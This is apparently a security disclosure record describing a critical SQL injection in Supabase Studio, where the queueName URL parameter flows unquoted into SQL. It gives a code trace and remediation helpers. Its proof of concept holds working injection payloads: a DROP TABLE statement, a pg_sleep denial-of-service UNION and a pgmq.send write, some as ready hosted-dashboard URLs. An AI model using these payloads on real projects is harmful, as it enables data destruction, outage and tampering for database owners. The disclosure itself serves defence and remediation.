Skip to content
winfunc
Disclosure record · Supabase

SQL Injection via queueName in getDatabaseQueuesMetrics

SQL Injection via queueName in getDatabaseQueuesMetrics

SupabaseDisclosedSource record

Severity rating

Critical
Critical

No numeric base score was published with this disclosure.

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Record

Project
Supabase
Severity
Critical
CVE
None listed
Disclosed
Trace
4 steps

Summary

Source

QueueTab

supabase/apps/studio/components/interfaces/Integrations/Queues/QueueTab.tsx:35

Sink

getDatabaseQueuesMetrics

supabase/apps/studio/data/database-queues/database-queues-metrics-query.ts:47

getDatabaseQueuesMetrics builds SQL statements with queueName interpolated directly into table identifiers and literals. The queueName value originates from the route parameter (/integrations/queues/queues/:queueName) which is attacker-controllable. No validation or quoting is applied before the SQL is sent to executeSql, allowing crafted queue names to break out of the identifier context and execute arbitrary SQL statements against the project database.

Severity

Attack vectorAV
Network
Attack complexityAC
Low
Privileges requiredPR
Low
User interactionUI
Required
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledsupabase/apps/studio/components/interfaces/Integrations/Queues/QueueTab.tsx:35

    QueueTab

  2. Step 01supabase/apps/studio/data/database-queues/database-queues-metrics-query.ts:44

    getDatabaseQueuesMetrics invokes executeSql with a SQL string built from the queue name.

    typescript
    const { result } = await executeSql({
    
  3. Step 02supabase/apps/studio/data/database-queues/database-queues-metrics-query.ts:47

    Queue name flows into preciseMetricsSqlQuery without validation.

    typescript
      sql: preciseMetricsSqlQuery(queueName),
    
  4. Step 03supabase/apps/studio/data/database-queues/database-queues-metrics-query.ts:23

    The template literal concatenates queueName directly into the identifier, enabling injection.

    typescript
    "pgmq"."q_${queueName}";
    
  5. Step 04supabase/apps/studio/components/interfaces/Integrations/Queues/QueueTab.tsx:35

    queueName originates from the URL parameter, which can be controlled by attackers.

    typescript
    const { childId: queueName, ref } = useParams()
    
  6. Sinksupabase/apps/studio/data/database-queues/database-queues-metrics-query.ts:47

    getDatabaseQueuesMetrics

Impact

Reported impact

Arbitrary SQL execution, including data exfiltration, table deletion, privilege escalation, or extension installation.

Attack surface

Supabase Studio queue detail pages (/project/<ref>/integrations/queues/queues/:queueName) loaded by authenticated project members—the route binds the attacker-controlled queueName directly into privileged executeSql calls.

Preconditions

The attacker needs a regular user account to craft URLs or entice an administrator to click the link. The target user must have access to the queue metrics page (standard for project members).

Attack path

  1. 1

    The attacker crafts a queue name payload: foo"; DROP TABLE public.users; --.

  2. 2

    Encode the payload for URL transmission and embed it within the queues route.

  3. 3

    Send the crafted link to an administrator or lower-privileged user.

  4. 4

    Upon visiting the link, the browser executes getDatabaseQueuesMetrics using queueName from the URL.

  5. 5

    Because the function interpolates queueName directly, the injected SQL executes with service-role rights.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Requirements: Ubuntu 22.04 LTS (or any OS with Node.js 18+, npm, and git installed).

    Install dependencies:

    bash
    git clone https://github.com/supabase/supabase.git
    cd supabase/apps/studio
    npm install
    npm run dev
    
  2. 02

    Target configuration

    The Studio app runs on http://localhost:3000. Ensure your Supabase backend is configured (or mock the API). For PoC, a development project with queues enabled is sufficient.

  3. 03

    Exploit delivery

    Authenticate as any tenant user with access to the project dashboard.

    Manually craft the queue URL without creating such a queue:

    text
    http://localhost:3000/project/<projectRef>/integrations/queues/queues/foo";%20DROP%20TABLE%20public.users;%20--
    

    To reproduce the production-reported slowdown, first create a disposable queue named foo via Add queue, then browse directly to the crafted queue detail route. Supply this queueName payload to UNION in a pg_sleep(50) call:

    text
    foo%22%20UNION%20SELECT%201::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at%20FROM%20pg_sleep(50)--
    

    Hosted dashboard URL template:

    text
    https://supabase.com/dashboard/project/<PROJECT>/integrations/queues/queues/foo%22%20UNION%20SELECT%201::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at%20FROM%20pg_sleep(50)--
    

    For write-oriented exploitation, UNION in a direct call to pgmq.send to enqueue attacker data without interacting with the UI:

    sql
    -- Injection payload (queueName = foo" ...)
    UNION SELECT pgmq.send('foo','{"attacker":true}',0)::bigint AS msg_id,
                 now() AS enqueued_at,
                 0::int AS read_ct,
                 now() AS vt,
                 '{"attacker":true}'::jsonb AS message,
                 NULL::timestamptz AS archived_at--
    

    Raw queueName value:

    text
    foo" UNION SELECT pgmq.send('foo','{"attacker":true}',0)::bigint AS msg_id, now() AS enqueued_at, 0::int AS read_ct, now() AS vt, '{"attacker":true}'::jsonb AS message, NULL::timestamptz AS archived_at--
    

    Encoded payload and dashboard URL:

    text
    foo%22%20UNION%20SELECT%20pgmq.send('foo','%7B%22attacker%22:true%7D',0)::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%22attacker%22:true%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at--
    https://supabase.com/dashboard/project/<PROJECT>/integrations/queues/queues/foo%22%20UNION%20SELECT%20pgmq.send('foo','%7B%22attacker%22:true%7D',0)::bigint%20AS%20msg_id,%20now()%20AS%20enqueued_at,%200::int%20AS%20read_ct,%20now()%20AS%20vt,%20'%7B%22attacker%22:true%7D'::jsonb%20AS%20message,%20NULL::timestamptz%20AS%20archived_at--
    
  4. 04

    Expected response

    When the page loads, Studio invokes getDatabaseQueuesMetrics, executing the SQL:

    sql
    SELECT COUNT(*) AS row_count FROM "pgmq"."q_foo"; DROP TABLE public.users; --";
    

    The pg_sleep(50) payload keeps the request inflight for ~50 seconds, demonstrating a trivial blocking DoS. The pgmq.send UNION returns a synthesized queue row containing the injected JSON, proving arbitrary SQL that enqueues attacker-controlled messages.

  5. 05

    Outcome

    Observed effects range from destructive DDL (dropping public.users), to prolonged availability impact via pg_sleep, to silent data integrity violations by writing arbitrary messages into tenant queues.

Remediation

Guidance

Sanitize SQL identifiers: Introduce reusable helpers (formatQueueTableIdentifier, formatQueueLiteral) to safely quote queue names/body data. Refactor queries: Replace string interpolation with helper functions to prevent injection across all PGMQ operations.

Before and after−5+5
"pgmq"."q_${queueName}"; relname = 'q_${queueName}' sql: `select * from pgmq.send( '${queueName}', '${payload}', ${delay})`const queueIdentifier = formatQueueTableIdentifier(queueName) const relnameLiteral = formatQueueLiteral(queueName, { prefix: 'q_' }) sql: `select * from pgmq.send(${formatQueueLiteral(queueName)}, ${formatQueuePayloadLiteral(payload)}, ${delay})`
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.